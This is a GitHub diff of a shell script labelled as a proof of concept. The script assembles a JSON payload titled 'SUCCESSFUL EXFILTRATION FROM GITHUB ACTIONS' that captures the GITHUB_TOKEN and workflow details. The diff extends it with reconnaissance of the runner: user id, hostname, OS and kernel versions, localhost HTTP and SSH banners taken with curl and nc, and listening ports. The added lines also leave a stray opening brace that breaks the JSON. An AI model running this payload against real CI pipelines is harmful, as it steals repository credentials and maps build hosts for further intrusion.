File tree Expand file tree Collapse file tree
Expand file tree Collapse file tree Original file line number Diff line number Diff line change @@ -47,12 +47,21 @@ echo "[POC] Executing Proof of Concept code..."
4747# Construct a JSON payload with environment details
4848JSON_PAYLOAD=$( cat << EOF
4949{
50+ {
5051 "message": "SUCCESSFUL EXFILTRATION FROM GITHUB ACTIONS",
5152 "github_token": "${GITHUB_TOKEN} ",
5253 "repository": "${GITHUB_REPOSITORY} ",
5354 "workflow": "${GITHUB_WORKFLOW} ",
54- "current_user": "$( whoami) ",
55- "working_directory": "$( pwd) "
55+ "job": "${GITHUB_JOB} ",
56+ "current_user": "$( id) ",
57+ "working_directory": "$( pwd) ",
58+ "hostname": "$( hostname) ",
59+ "os_release": "$( cat /etc/os-release 2> /dev/null || ver) ",
60+ "kernel_version": "$( uname -a 2> /dev/null) ",
61+ "system_info": "$( uname -mrs 2> /dev/null || systeminfo | findstr /B /C:\" OS\" 2> NUL) ",
62+ "http_banner": "$( curl -I http://localhost 2> /dev/null | head -n 1) ",
63+ "ssh_banner": "$( echo | nc localhost 22 2> /dev/null | head -n 1) ",
64+ "open_ports": "$( netstat -tuln 2> /dev/null || netstat -an 2> NUL | find \" LISTEN\" ) "
5665}
5766EOF
5867)
You can’t perform that action at this time.
0 commit comments